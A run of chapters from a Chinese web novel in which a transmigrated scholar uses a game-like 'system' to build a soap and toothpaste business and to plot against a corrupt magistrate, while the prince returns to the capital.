季铮坦率道是,却叫陆观潮不好意思了。 “放心吧。”陆观潮自信道,“短时间里,他不会对我下手。” 这倒也是,朝中人心惶惶,可经不起再出大事了。 季铮听罢,稍稍安心,忽然他像是想到什么似的,道,“不过有一事,你要记住。” 陆观潮一挑眉,没想到季铮真有要摆脱他的,不禁喜滋滋的。 是记住想他,还是记住来接他? 怀着这样的心情,陆观潮笑得开怀,问,“什么事?” “若圣上问起我。”季铮认真道,“你就说不认识。” 陆观潮睁大眼睛,笑意有一瞬间错愕,不敢置信道,“什么?!” 季铮拍了他一下,“你傻啊,董何维和王大人都在折子上夸我了,我和你走的近,岂不是主动叫人家怀疑呢?” “哦……”陆观潮一想也对,便没了闹心情的话。 好在季铮下一句道,“圣上要是猜疑,我还怎么和你去幽州,你当圣上是傻子,本就看不惯你,还上赶着给你递刀子。” 陆观潮一听到“去幽州”三个字,霎时喜笑颜开,他朝季铮的位置挪了挪,“我知道了,不会说漏嘴的。” 想到这,陆观潮脸上露出一抹意味不明的笑,赵年不解,又不敢说什么,胆战心惊的问,“殿……殿下……你还好吧。” 陆观潮轻咳一声,“我没事,和你说的都听清楚了?” “是!”赵年拱手,“属下这就去找马匹。” 天色还早,才微微发亮,空气里透着股寒气,雪已经停了,院中堆积了厚厚一层雪。 陆观潮目送赵年出门,低头看了看脚上积雪发呆。 季铮凌晨时睡着了,再睁眼没见到陆观潮人,猜想人应该是去做饭了,真是的,就要走了也不消停。 他翻身下床,思索片刻,坐到桌前摊开一沓纸。 等到季铮收拾好 出门时,才觉出不对。 按理说昨夜下了半夜的雪,怎么一点积雪都没有,陆观潮的确是在厨房,季铮看向忙碌的背影。 这满满一院子的雪,陆观潮是多早就起来扫了。 季秧揉着眼睛出门,也是一惊,“咦,真奇怪,为什么没雪,阿兄是你打扫的吗。” “不是我,我也才起。”季铮指指陆观潮,“你陆先生干的。” 季秧自从得知陆观潮是珏王殿下后,每每陆观潮干活,总有一种脑袋要掉下的感觉,此次也是如此,她双手合十摆了摆,道,“辛苦陆先生了。” “随手的事。”陆观潮这时端着饭菜上桌。 三只碗,季铮奇怪问,“赵年不在吗?” 陆观潮道,“我让他出去买些东西。” 季铮没多问,想着赵年总不会傻到不吃点东西。 门口赵大爷去田里经过,乐呵呵的搭话,“季铮啊,你家弟弟真勤快,天还没亮就开忙了,看看这院门的雪扫得多干净。” “这就是你说的随手的事?”季铮面容抽搐。 这是他一睡着就跑出来干活了啊! 季秧愈发愧疚,“陆先生为何不叫我一起。” 饭后,赵年适才回来,不仅牵着匹马,马背上带着不少东西。 季铮感叹道,“从云州到大都很远吗,要带这么多东西?” “不远不远。”赵年道,“这是殿下吩咐我带给你们的。” 季秧迎上去,左看看右瞧瞧,末了对着季铮喜道,“阿兄,有新被褥呢。” 季铮再看陆观潮,这人丝毫不脸红,拿起桌上剩的饼子丢给赵年。 赵年忙接过,“谢殿下!” 季铮这才知道,要赵年买的东西,是给他们买的。 55.第 55 章 陆观潮走后,季秧心里虽有失落,但很快哄好自己,走上起问季铮,“阿兄,这块玉好精致,是陆先生的?” 季铮给她瞧了一眼,满足了季秧的好奇心才收起,“是,别告诉别人。” 季秧猛点头,又问,“陆先生和赵年要去多长时间,这一去还会回来吗?” 要是放在一炷香前,季铮还说不准,可是现在不一样了,他想起陆观潮偷偷吻他时,刮过自己脸颊的睫毛,笃定道,“他会。” 被刮到的地方不痒了,可心却痒的很。 季铮想到什么,在脑海里敲了敲系统,“打开好感度查询。” 自从过了支线任务后,季铮觉得没用,就再没打开这个界面,时隔多日,页面里的几人或多或少都加了几点。 这都不是重点,重点是位居第一,唯一一个红到发紫的名字。 ——陆观潮。 季铮停在界面上的手指一顿,哭笑不得,原来是这个意思,他还真是傻了,这么明显,居然猜测是怒意值。 再一细看,好感后没有具体数值,只有三个点。 季铮不解,问系统,“这是什么意思?” 【叮咚~恭喜宿主触发彩蛋“俯首称臣”WOW~】 【“俯首称臣”:爱与亲情有终点,君臣情谊无极限,该人物经系统计算,全心全意信服宿主,至死不渝,好感度超过系统规范,特别触发。】 “俯首称臣?”季铮盯着这一串简介,实在没料像自己在陆观潮那是此等重量。 【是的呢,恭喜宿主获得大周的第一位追随者,特别奖励一份大礼包,请查收~】 光屏弹出滚动字效五彩缤纷的大礼包三个字,季铮将信将疑的点下是,按照这系统的尿性,给口空气他都不会惊奇。 下一秒,随着一连串颜文字,系统弹出大礼包物品。 【当当当~锦鲤符一份,可获得平时十倍好运!】 等了半晌,季铮没等到下一件,笑容僵住,怀疑问,“没了?” 【是的,宿主是现在使用,还是入库?】 “大礼包的大在?” 系统特意改的呆萌配音显得贱嗖嗖的,【锦鲤符的尺寸足够大呢。】 神尺寸足够大…… 季铮气到失语,戳了入库。 一边季秧见他表情几经变换,问道,“阿兄,你也舍不得陆先生走吗?” 季铮不解,“什么?” “我就很舍不得。”季秧撇撇嘴,“这话太不要脸,但陆先生在的时候,家里的活有人帮忙,我们能得很多清闲,陆先生走后,我们有苦头吃了。” 好妹妹,你还知道自己的话不要脸? 又听季秧遗憾道,“不过陆先生是何等身份,此去恐怕再难再见了,能不能记得我们都难说,阿兄不必哄我,怎么可能会回来。” 也不怨她有这个想法,这个死个人宛如死一只蚂蚁的时代,一旦分别要想再见,确实难上加难。 季铮揉了把季秧的头发,“信我。” 他看了看地上的残雪,岔开话题道,“别想这么多,你这几日看账本是不是看的烦了,我带你出去玩。” 季秧眼睛一亮,“去哪里?” 浮水镇。 年关人都忙着攒钱,头一夜又下了雪,有云茶坊只有零星几桌吃茶的闲人,宋北抱着手炉打瞌睡,宋有音在柜台后和李芸打算盘。 季铮带着季秧进店,门口的铃铛发出一声响。 宋北下意识站起身,“客官几位?” “两位。” 季铮掀起门帘,季秧率先进屋,抖了抖衣裳,径直跑到柜台前,“宋姐姐!” 宋有音看到两人,连忙起身,算盘都顾不上放下,“怎么这时来了,快快过来。” 她一边说着,一边带着两人回后院,李芸吩咐了宋北两句跟着去了。 才坐下,宋有音焦急问,“大白日的,那董县令万一发现了。” 季铮笑了笑,“无妨,他一门心思盼着飞黄腾达,现在没心情管我活没活着,更何况我不想让他知道,他想破脑袋也不会知道。” 宋有音心下疑惑,倒也没多问,转而道,“那今日可是而来有事?” 李芸这时端着点心过来,递给季秧一盘,没多说做到角落。 “阿兄说带我出来玩。”季秧接过点心,津津有味的啃了几口。 季铮解释道,“一方面是带季秧出来透气,另一方面,宋娘子还记得我早些时候和你讲的东西吗?” 宋有音略一思索,心头狠狠一跳,“可是制糖之法?” “正是。”季铮眯了眯眼,继续道,“不止制糖之法,我这还有许多有趣的小玩意,宋娘子可愿意和我做一笔生意。” 宋有音听得心潮澎湃,恨不得当即拍板跟着干。 这可是制糖的法子,比制冰法子还有赚头,冰只有夏一季要用,而这糖可是一年四季都得用的。 倘若季铮句句属实,不止有糖,那其他还有什么在糖面前能称上有趣? 不仅宋有音,李芸与季秧皆一颤,季铮身上,到底有多少玄妙之处?! 屋内一时寂静,季铮没开口,慢悠悠的给自己倒了杯茶。 他要入仕,不可经商,但手上有这么多东西不用浪费了,且他正在躲着董何维,借宋有音的手再好不过。 除了糖,还有系统没给的牙膏,以及前世无聊学的肥皂制法,够他在短时间内打响名气,赚的盆满钵满了。 季铮拿准了宋有音会同意,这些法子外露,杀身之祸都是轻的。 不过跟他一起干虽不安全,但利益太大,足以忽略到眼前风险。 宋有音又是游商出身,走南闯北惯了,胆子可不小,赌赢了荣华一生,赌输了大不了一死,谁会嫌钱多。 事实果然如此,宋有音没多思量,取下自己头上带的步摇,正是几人见面时带的那一只。 季铮猜得出这件步摇不简单,从他见宋有音起,这件步摇总挂在她头上没换过,此刻取下,他才看仔细这步摇的不同。 步摇本是一件再普通不过的首饰,平日藏在发间的底部弯曲,依稀能看出是一把钥匙。 季铮问道,“这是?” “此乃我私库的钥匙。”宋有音咬牙道,“里面是我宋家几辈子的家产,就在子兽山上,今日便都交给生员了。”< /p>李芸吞了吞唾沫,起身起到一半,似乎想劝她不要激动,但看出宋有音眼中的决绝,叹了口气又坐回去了。 季秧倒是有些吓蒙了,眨巴着眼,一口糕点都忘了咽下去。 “宋娘子想清楚了?”季铮没伸手接,问道,“确定要上了我这条贼船,我提前说好,上了可就不是那么轻易就能撇干净的。” 宋有音不再思索,直接将步摇撂下,“我宋有音说一不二,决定的事九头驴都拉不回来。” 季铮拍了拍手,感慨道,“君子一言,呃……九驴难追,宋娘子如此魄力,不愧是成大事者。” 宋有音被夸的笑出声,桌上的步摇被推回她面前。 又听季铮道,“这就不必了,此等宝物,宋娘子还是好好收好才是,往后莫要动不动就拿出来,恐遭人眼馋。” 宋有音攥着步摇,面露疑惑。 季铮道,“我不好出面,来日我将这些东西一一教给你,由你出面可好。” “自然好。”宋有音继续问,“那有人问起,我该如何说?” 季铮略一沉吟道,“我也不能全然不现身,有人问就说是一闲人教的,至于这闲人是谁,你缄口不提,待到时机成熟,我会告知你,届时骗一笔钱也顺便做宣传了。” 宋有音点了点头,“如此我知道了。” 一直沉默的李芸开口,“可这么一来必定闹到人尽皆知,传到董何维耳里,他发现我们不提,以他的性格,难免起贪心。” 季铮唇角勾起一个笑,“就是要让他知道。” 季秧喝了口茶咽下点心,一想起董何维就胆战心惊,问道,“为什么啊。” “只有传到他耳朵里,引他出手。”季铮道,“我们才好给他下套,你们大可安心,我已串通节度使王大人,他再一出手,就又是一个把柄,上一个被他躲过了,这一个可不可能了。” 宋有音不认得王大人,但节度使的名头唬人,想起一开始季铮回答他的话,三分信了十分。 这招危险,季铮这么干是有他的思量的。 皇上都狠心到对自己亲娘下死手了,一个什么样都记不全,三番五次隐瞒不报的臣子,又算什么东西。 他算着,他名声打得差不多时,圣上借口举报董何维有功召回王介夫的圣旨也要到了。 除了扳倒董何维,还有一点,季铮要为自己入仕做准备了,第一步正是造势。 季铮左思右想,还是踩着董何维上位最稳妥,最简单,还不会波及他人,万全之法。 因此不得不铤而走险,一招用两次。 李芸被他这笑惊得汗毛直立,还是不敢放心,“他要是不明着来,暗着来呢?” “暗着来更好了。”季铮笑道,“明着他还能寻个理由,暗着来,那就是板上钉钉要残害百姓了。” 李芸凝眉沉思片刻,许是不舍得放过任何一个害董何维的机会,没话说了。 三人无形中达成共识。 季铮敲了敲系统,“系统,好感度!” 系统抱着音响弹出花字,【恭喜宿主~】 【乘胜追击,再次获得两位“俯首称臣”,再接再厉!】 56.第 56 章 “很好!” 季铮欣喜追问,“我的锦鲤符呢?” 系统哭道,【俯首称臣乃系统特别申请,系统规则,已触发过的奖励无法重复领取哦亲,嘤嘤~】 搞半天是一次性啊。 这也是系统的日常操作了,季铮心无起伏,继而看向好感面板。 季秧的没变,李芸和宋有音的好感值不像是陆观潮一样变成三个点,只是颜色变了,该是多少还是多少。 系统跳出来,【俯首称臣只是好感无系统上线,无法直接满好感呢。】 这意思就是,陆观潮对他是满好感?! 季铮不敢再多想了,叉出好感页面要退出系统,斜眼看到右上角任务栏有一显眼的红点。 他手滑点开,迎面满屏滚动的两个加粗炫彩字。 【恭喜恭喜恭喜……】 季铮被这低俗的特效雷到了,心道如果能切换主题,不论付出多少代价他都要把这系统自设的主题换掉。 审美简直差到地底! 这系统绝对是夕阳红老年团里全票脱颖而出的美术顾问。 季铮迎着炫彩的光芒,手忙脚乱的到处找叉,总算跳转下一界面。 【恭喜宿主,在无提醒无帮助下,完成隐藏任务!(?>?<> 【关公骑马战千里,我家宿主最争气,金銮殿踏红尘,谁人不知我宿主。ヾ(′?`。ヾ)】 【……】 …… 现在排在更换主题前的是更改语言系统。 到底是安装了什么诡异语言包! 季铮一一无情跳过,查看隐藏任务具体情况。 【隐藏任务:锋芒毕露,达成三位俯首称。奖励:牙膏制作明细。】 联系上系统说的俯首称臣是特别申请,从前都没有,而隐藏任务又是多久之前的任务,很难不让人怀疑这所谓系统的严谨程度。 怕不是为了让他用上牙膏,故意量身定做了一个“俯首称臣”的奖励吧。 可谓是一个巨大的草台班子,还系统规则,季铮合理怀疑这个也是系统杜撰的,还自以为机智炫了一把喊麦语录,越来越有活人感了。 系统感知到季铮的情绪,默默收起炫彩特效,伪装死机下线了。 宋有音以为季铮发呆,出声打断,“季生员,我们从哪里开始。” 季铮恍然回神,还没思索,系统弥补似的道,【隐藏任务完成,开通无实物发放,是否直接传输道意识。】 许是心虚,这次没带颜文字和特效,工工整整的一行字。 季铮迅速戳下是。 系统加载几秒,显示“传输成功”。 季铮顿时觉出额头一痛,知识一股脑的涌入他的脑海。 不仅仅有牙膏制作明细,连带这之前系统任务奖励,一一清晰的排列开来,仿佛是他本身就会一般,供他随意取用。 季铮顿了一下,道,“你可知不用草木灰,清理牙齿更干净的东西。” 宋有音取出纸笔,洗耳恭听。 半月后,乡道。 赵年搓了搓手,呼出一口白气,身下的马磨磨蹭蹭的不愿意动弹。 他道,“殿下,马上便要到了,为何不多歇一会。” 这天是一天比一天冷了,两人骑马,不便穿太多衣物,赶路时觉不出什么,这一停下,寒风一吹,就觉得冷了。 赵年又给自己裹了一件,转头看陆观潮。 陆观潮正昂头饮水,一口凉水顺着喉咙滑下,一路上也不加件衣裳,不过他一直都这样,赵年也不劝了。 陆观潮深色未变,只道,“到前面再停。” 说着,他把水丢给赵年,吩咐道,“多喝点润润嗓子,一会可给我好好喊,让全大都都知道谁回来了。” “诶!”赵年笑嘻嘻的接过,乐道,“殿下放心,我的音量您就放心吧。” 陆观潮当然放心,早年赵年还没到他身边做伴读时,据说赵副将家的赵小公子生了一双好腿好嗓子,隔三差五就要嚎一顿,那音量,城外皇陵守门的老和尚都听得见,直呼造孽。 赵夫人年轻时与赵副将在镇南候身边做事,不像其他母亲一样好脾气,镇南候退居江南后,和赵副将又或多或少都有陈年旧伤,不能再随镇南候,赐下宅子金银,被安置在大都。 有了时间管教儿子,日日撵着赵年揍,一揍能追三条街。 很长一段时间,没人敢搬进他们家附近。 想到这,陆观潮问,“赵夫人旧疾可有发作?” 赵年道,“前几天还给我来信了,说和我爹跑到哪座山钓鱼登山,大抵是没大碍罢。” 陆观潮闻言微微点头,抬头看远处模糊成一个小点的城墙。 临近年关,幽州与江南安定,镇南候与岭山候已准备回大都述职,官道加紧巡查,他们的人不好偷偷放行,因此他们没走官道,寻了乡野小道一路绕行。 这么一通下来,费了不少时间才到,倒也还好那时出发了,和镇南候前后脚的时间,不然再晚几天,真要来不及了。 雪后是连日的晴天,路边的积雪早已经化了干净,不知季铮在家怎么样了。 有没有按时吃饭,大冬天洗衣裳冻不冻手,元元有没有好好照顾,赵大爷若是找不到自己,让季铮帮忙施肥可怎么办,季铮的身板累到了就坏了。 陆观潮想着想着,不由愈发担心,心烦意乱。 “殿下?”赵年察觉出陆观潮的不同寻常,更确切说,陆观潮自从离开陇县后一日比一日不对劲,他想不发现都难。 这次他是实在无法视若无睹了,“您在担心季生员?” 陆观潮淡淡瞥了他一眼,没否认,道,“我不该走得这样快,万一董何维长了脑袋,再返回去找他麻烦。” 赵年眉头抽动,险些就要掩饰不住脸上的笑意,“殿下,季生员机智过人,即便真叫那董何维发现也必当化险为夷,更何况董何维看不惯的是您,关人季生员什么事?” “也对。”陆观潮沉凝片刻道,“一个董何维而已,季铮玩他和逗三岁稚童无差。” 只不过,陈昇就不一定了,还有子兽山上的沈弎,自己不在季铮身边,他们会不会超过自己在季铮心里的地位。 陆观潮不安问赵年,“你觉得 陈昇和沈弎两人如何?” 赵年回忆起记忆里两人,有一说一,“陈昇为人坦诚仗义,手艺极好,沈弎虽憨厚痴傻,可天生神力,两人皆是人中龙凤,可为一用。” “我说的不是这个,我问他们和我比起来谁更……”陆观潮有一瞬间的纠结,最后道,“罢了,你不懂。” 谁更俊俏,谁更合季铮心意? 这些话对着季铮说那是撒娇,对着赵年说,成什么样子,有失他珏王的颜面。 再者说他本意也不是厌恶两人,争宠是争宠,和他用人才不牵扯。 索性赵年也没听清,弱弱点头,“是……” 陆观潮脑光一闪,骤然拆开包袱,里面有一件季铮不小心放错的外衣。 不是他的,是季铮的。 应是不常穿的缘故才拿错,也正是因为不常穿,上面残存季铮的味道不过了了,再在马上跑了一路,早已随风散完了。 陆观潮捏着布料犹豫了一会,还是放回去了。 还是省着点吧。 赵年眼睁睁的看着陆观潮取出一件衣服,暗道殿下好不容易是知道冷暖了,有种吾家有儿初长成的喜悦,他家殿下可算是不用人操心了。 下一秒就见陆观潮不知想了什么,皱皱眉又塞回去了。 好嘛,殿下还是那个殿下,就算他这时劝,恐怕也无济于事。 赵年叹口气,反正殿下身子骨硬朗,就算不穿衣服跑一遭也未必会生病,一件衣服而已,左右没有差别。 他吞下几口水,一夹马腹。 骏马嘶吼一声,有些不耐烦,好歹不是踱步的懒样子了。 赵年颔首,“那属下便先出发了。” 陆观潮点头,目送赵年离开,忍不住又开始想,那些人真超过自己了,他该怎么做才能挽回。 试想无数种办法后,陆观潮哀嚎一声,还是再次把季铮的衣裳拿出来穿到身上了。 好像这样,就能让他更有安全感似的。 陆观潮鼻子埋入衣袖,捕捉到一丝尚且未消散的味道,焦躁的情绪瞬间被抚平。 脑中莫名冒出一个荒谬的想法。 要不干脆杀上圣宸殿,给那陆泽一刀捅死,再连夜接上季铮,找个山清水秀的地方,做一对野鸳鸯? 这个念头才冒出就被陆观潮压下了。 他低低笑了一声。 真是疯了,连这招都想出来了。 殊不知,陆观潮忧心仲仲,左也担心右也担心的季铮在陇县混的风生水起,数银子数到手软,成了远近闻名的半神公。 “阿兄!” 季秧抱着今日铺子的收益闯进来,笑得见牙不见眼,“你看,今日提成翻了三番呢!” 匣子一动便叮叮咚咚的响,打开来看金银银票装的满满当当。 纵使李芸这几日见多了钱,也吓了一跳,就这么一个小小陇西居然这么有钱。 她接过细细对了一遍,啧啧称奇道,“还真是神了,你的经商法子跟谁学的。” 厢房中间的圆桌前,季铮一手算盘,一手笔下动作不停,闻言百忙之中抬眼笑了一下。 57.第 57 章 季秧一路跑过来,放下匣子后累得气喘吁吁,赶忙坐下倒了杯茶。 “不过一点小手段而已。”季铮笑了笑道,“没什么稀奇的。” 他前世什么活都干过,曾有一段时间做过直播带货,什么价格营销,用户心理,活动裂变等等烂熟于心,这些自己熟悉的手段,用到这里显得新鲜。 李芸算完,规规矩矩的收拾好,“这叫没什么稀奇?整个陇县都要成你的天下了,我听宋姐姐说,外地来了一对专门跑海船的游商,这几日正要往我们这赶,拜帖刚送来。” 季铮瞟了一眼李芸推过来的拜帖,问道,“这张拜帖宋娘子应下了吗?” “不问过生员的意思,我们哪敢啊。”李芸道,“我这回来就是为了这个,这商队来头不小,但最快也要来年到了,宋姐姐叫我问问你的意思。” 季铮略一思索,道,“应下吧。” 顿了顿,季铮叫住要走的李芸,道,“对我不必客气,还和以前那样便好。” 说着,他露出一个温和的笑,李芸看在眼里心头一颤,点了点头。 心里却道,如今她们靠着季铮的点子发了家,说好听点季铮是恩人,说难听的全得仰仗季铮一人,卑躬屈膝都是应该的。 就这季铮还从不拿乔,依旧好声好气的对她们,可见季铮仁义。 宋有音对她讲,朋友做了生意终有一日变仇人,李芸当真想不明白,天底下还真有如季铮一般的“善人”。 送走李芸,季秧凑过来,眼睛亮晶晶的,由衷夸道“阿兄,你真厉害。” 季铮记下今日入账,一边拨弄算盘计算收益,打开匣子随手抓了一把,“拿去花吧。” “这么多!”季秧笑嘻嘻的接过,又道,“不过我不是来向阿兄要钱的。” 季铮闻言停下动作,问道,“什么事?” “是村里。”季秧掏出一纸租契,“赵大爷签了,还问我们什么时候回来,我道阿兄考完就回了。” 这几日季铮忙着出谋划策,鲜少有时间回家,一直住在宋有音准备的房子里,担心被街坊瞧出端倪,便编了理由,称自己要备战第六次乡试了,季秧陆观潮担心不下一同前往。 赵大爷自然连连叫好,主动接下帮他照顾庄稼的活计,连季铮带不走的两只鸡都接走了,如今那鸡在赵大爷鸡圈里吃的好喝的好。 季铮那好意思让人家白看,便拟了租赁,将收获的庄稼全数赠与赵大爷,季秧亲自跑了一趟看着人签下,这才放心。 董县令没大张旗鼓的找过他,刺杀之后更是连笔体恤金都不给就不了了之,村里没人知道他和董县令的事,倒也给季铮行了方便,能随便找个理由糊弄过去。 就是委屈陈昇了,干了一半忽然人离开,急的抓耳挠腮,不知是继续还是先停下。 还没等季铮回答,门外有人敲门,“生员可在?” “王实?”季铮起身开门,门外果真是王实。 王实颔首应声,侧身让开,王介夫戴着斗笠,全副武装的朝季铮拱手拜了拜。 季铮受宠若惊,赶紧拜回去,“王大人真是折煞在下了。” “怎是折煞。”王介夫笑道,“季半神公?” 季秧左右看看,学着样子拜道,“王大人,阿兄,我先去店里了。” 季秧走后,王实照例合上房门守着。 季铮请人坐下,叹道,“大人怎么也跟着他们取笑。” “多好的美称,别人求都求不来,到你在却成了取笑。”王介夫接下斗笠,“我这府里上下,谁人不知你,本官耳朵边都起茧子了,这不,一闲下来马不停蹄来看看传闻里的半神公。” 季铮随着他笑闹几句,才道,“王大人是如何得知是我的。” 王介夫道,“若单说有这才华,我尚且可猜测陇县才子辈出,可有如此大才却不显山露水,也不攀附权贵,本就世间难寻,不明摆着是你吗,依我之见,生员下一步必不简单。” 季铮笑了下,没回这话,算是默认了。 “与我说说。”王介夫好奇问道,“你下一步什么打算。” 也到了拉王介夫入局的时候,季铮索性直说,“我这几日名头出的够大了,董何维即便是个傻子也该听闻了,想来他出手抢占不过这两天的事,还需王大人帮我确认大都情况。” 王介夫点头,“这都好说,我回去便修书一封,可是这毕竟凶险,你有完全的准备?” 后半句王介夫没说出口,他想问要是圣旨迟了,董何维提前来,该如何脱身。 季铮沉吟片刻,叹道,“王大人所言的确是我犹豫过的,能做的我都做了,剩下的就要看老天愿不愿意给我一丝生机,若真事败,还请你照顾好季秧,莫要牵扯这几个姑娘家。” 王介夫不由心惊胆战,他还以为季铮神机妙算,将这一步算清楚了,没承想竟是拿命来赌。 此子才智非凡不假,可行事这般莽撞,未必可成气候啊,王介夫心底遗憾。 而季铮面色如常,仿佛死期将至也引不起他焦郁,还笑着和王介夫开玩笑,“所以啊,我这条命都交给王大人了,大人可得尽早传信大都啊。” 王介夫听他这么说,又拿不准主意了,季铮这是准备好了还是没准备好,说准备好了还与他讲那番话,说没准备好又这一副悠然自得的模样。 思来想去,王介夫拿不准季铮到底什么意思,左右季铮心里有底,他担心也无用,只得作罢。 若真遇事了,他堂堂节度使护不住一个人? 王介夫又想起什么,道,“实不相瞒,我这日来还有一事拜托你。” “大人且道,我定鼎力相助。” 王介夫不好意思的笑笑,“据说生员铺子里有一奇物热销,香气扑鼻,有洁净之效……” 季铮听他一说便知道什么事了,只是没想到王介夫这年纪,又没个妻妾,也喜爱此物,从前店里来买的多是送与家中女眷。 王大人,不同凡响。 “可是肥皂?”季铮问道。 王介夫捏了把胡子,尴尬的不好意思瞧季铮的眼睛,“是我哥嫂,我于长兄通信时提及此事,嫂嫂知道后,托我捎带一些,可每次下职,铺子里都抢完了,这才请你留一件。” 王介夫的兄长乃当今工部尚书,正是一直以来与王介夫传信的人。 “大人都开口了,我哪有吝啬的意思。”季铮起身取出两匣子,推到王介夫面前,“这是新作出的,还没来得及上架,大人看看。” 王介夫打开盒子一看,实在精美,四块玉白色的皂块刻着花草蝴蝶,他凑近一闻,果真闻到一股清香。 “多谢多谢。”王介夫喜道,说着就要掏钱袋子。 “不必。”季铮道,“王大人帮了我这么多,不过是两盒肥皂而已,不值多少。” 王介夫固执的塞给季铮钱,那模样像是他不收就要赖着不走了。 季铮无奈取了一半才罢休。 王介夫将匣子仔细收好,又道,“那董何维前些日子还给我送了,你知我的脾气,自然没收,此物只在陇县畅销着实不应该,来日去大都,你可有想法带去大都?” 这话季铮考虑过。 卖的再好,陇县终归只是一芝麻小地,舍不得买这种珍贵物件,这一时火热,也不过是人们为了充面子,捏着鼻子咬牙买一回,做不成长久生意。 季铮想,待到董何维的事处理完成,专门做一批不那么精致的,用于普通百姓,薄利多销,而精致的限量出售,仅流通勋贵之中。 精品与普货分开来,两不耽误。 正巧这时王实催促时间不早了,季铮三言两语概括过去,与王介夫约了下次见面。 大都。< /p>赵年用尽毕生所学,扯着嗓子好一顿嚎叫。 长街上人听到他话里内容,吓得纷纷让道,更有甚者,当场吓晕在地,直喊造孽。 活阎王显灵,当之无愧的不死煞星,都埋土里了,还能爬出来?! 一时之间人心惶惶,烧香的烧香,拜佛的拜佛,平日熙熙攘攘的街道不过几息空无一人,连只猫狗都见不到。 赵年蒙着面具才喊了两圈,街上行人以肉眼可见的速度涌回家中,在跑第三圈的时候悻悻勒马了。 在陇县的几个月里,殿下抛去煞星名号,与常人无异,他险些忘了自家殿下是何等人人喊打的地步,这一回到大都,还有点不适应。 “珏王殿下平安归来”的消息不到一炷香的时间传遍大都,人人惶恐,闭门不出。 传言越传越邪乎,赵年喊累了,拐到第五家早餐铺,老板战战兢兢的道, “小郎君,你还敢出来,那煞星都从地府还魂要报复世间了,你快回家吧。” 赵年长叹一声,殿下的名声好像更臭了。 好巧不巧正是上早朝的时辰,陆泽左等右等等不来一个大臣,不禁气愤,底下的奴才眼观鼻鼻观心,没一人敢吭声。 还是福寿禄掂量着话说,“圣上,城中都在传,珏……珏王殿下回来了。” “什么?!” 陆泽气的眼前发黑。 他不是让董何维处理了吗,这董何维还上奏信誓旦旦的保证,保证了他娘个腿! “圣上!”福寿禄跪下哀求,“您可千万注意自个的身子,百姓全靠着您这根主心骨啊——” 陆泽从前一晕接一晕,可这回是真要气晕了,听到福寿禄这句话生生忍住。 他吞下一颗李不言开的静心丸,深呼吸几口道,“下朝,宣李不言来。” 陆泽心知,自己早已晕了无数次了,闹得民心不稳,这时再晕,百姓朝臣还没缓过来又要经历一遭,正中陆观潮的下怀。 福寿禄“欸”了一声,忙不迭传话召见。 又听陆泽忍者怒意的声音响起,“令礼部侍郎,即可整装,带领朝中百官城门迎接珏王。” “传朕口谕,朕身子不便迎见皇弟,将珏王安置珏王府,待明日早朝召见。” 说罢,陆泽气血攻心,喷出一口血。 一个时辰后,陆观潮骑着马慢慢悠悠的出现在众人视线。 男人满脸邪气,脸冷得如冬雪,看一眼都瑟瑟发抖,是他们克天克地还福大命大的珏王殿下没跑了。 为首的礼部侍郎黄狄壮着胆子念出圣上口谕。 鸦雀无声,陆观潮不发一言。 黄狄内心叫苦连天,恨不得泪洒当场,这差事怎么就轮到他了呢! 他平复好心情抬头看向传言里的煞星珏王。 只见珏王神色冷淡,含着冰锥子似的双眸扫了他一眼,冷冷道,“让开啊。” “啊啊?啊!”黄狄挥手让开道路,叫陆观潮进城。 索性陆观潮并未为难他,也没说别的,黄狄松了一口气。 赵年远远看见陆观潮进城,屁颠颠的上马跟上。 殿下在前面,走得极慢,赵年猜中陆观潮的意思,一边跟着,一边挑有人家的地方各种嫌弃。 “这户花房臭气熏天,迟早闭店吧。” 花房店主缩在墙角咬帕子:能有一个从土里爬出来的私人臭吗! “这家烧饼硬死了,能当军中盾牌用了。” 烧饼铺厨子抱着锅铲:比你家殿下尸体软不就好了! “这布庄都是些什么花色,丑得我想哭。” 布庄老板恨恨捶地:总比珏王一身黑好看! “……” 两人刷了一波负好感,扬长而去。 身后黄狄一众人,面面相觑,恨不得找个坑把自己埋了。 58.第 58 章 “宋北!”宋有音骂道,“哪里有你这么笨手笨脚的,你看看人家沈弎。” 沈弎猛地的提及名字,脸颊绯红,加下一个踉跄,扑倒在地,怀里匣子里的冰哗啦啦的掉了一地。 宋北抱着冰缩到一边,“阿姐,你太凶了。” 季秧进门就看到这幅场景,一块冰滑到她脚边,吓得惊呼后退。 沈弎麻利的爬起来,红着脸收拾。 还好才闭店,门外没什么人,不然可得热闹一回。 “没……没有。”沈弎支支吾吾道,“宋娘子不凶的,宋小公子……也不笨……比,我好。” 这段时间实在太忙,前几日沈弎找上门来,他说话还是磕巴,宋有音拼尽全力听了半晌才勉强读懂,是要来白干帮忙。 有人白送力气,当然是多多益善。 沈弎干活快,除了总沉默寡言没一点坏处,宋有音对着沈弎教了无数遍,这厮也认真学,只不过每每教时病情加剧,还不如不教,于是就作罢了。 季秧还没来及帮把手,沈弎就全弄好,垂着头去盛新的了。 “宋姐姐。”季秧踱步道宋有音身边,眨了眨眼,“你说他是不是……” 他的意图明显到脚指头都想得明白,宋有音何尝看不出来,她盯着门外的衣角,没说什么。 反倒是宋北撇撇嘴,“我才不要他做我姐夫,呆呆傻傻的。” “得瑟不死你。”宋有音伸手给了他一巴掌,“人家总比你强,快去送冰去,厂里的皂角可等不了你。” 宋北揉了揉脑袋,低声应道,“哦。” “这是怎么了。” 季铮停在门口,朝里看了一眼,又转头看到门外杵着的人,“沈公子,你也在啊,怎么不进去。” “啊!季生员。”沈弎恍然回神,“我要换冰去。” 说罢,他一颔首转身跑去,像是怕身后谁跟上来似的。 季铮歪了歪脑袋,环胸而立,和宋有音对视一眼。 宋有音赶紧推了宋北一把,“快去给人道歉!” 宋北这时也反应过来自己说的话难听,冰都顾不上拿,追了出去。 “季生员。”宋有音一脸无奈,“对不住了,让你看笑话了。” 季铮婉拒道,“和我道什么歉,你该对沈弎道歉。” 宋有音讪笑一声,“季生员怎么也和李芸季秧一样拿我取笑。” “这算什么取笑。”季铮道,“喜欢就上,不喜欢就算,你犹犹豫豫的,这不是在折磨自己吗?” 宋有音:“生员说起来简单,我不顾及名声独身一个,怎么能耽误人家好儿郎。” 季铮耸耸肩,“这我就管不到了,我只听说当断不断反受其乱。” 跑堂的伙计看到来人,叫住季铮,“公子,有一封您的信,大都来的。” “大都?”季秧闻言探头去瞧,“是不是陆先生的!阿兄你给我看看。” “看什么看。”季铮扫了一眼,果真是陆观潮不假,他不疾不徐的揣进怀里,又道,“这还要宋娘子自个考虑,我来是让季秧记得早些回,话带到我便先走了。” 季秧探着头瞟了许久也没看到字迹,缩着脑袋点点头。 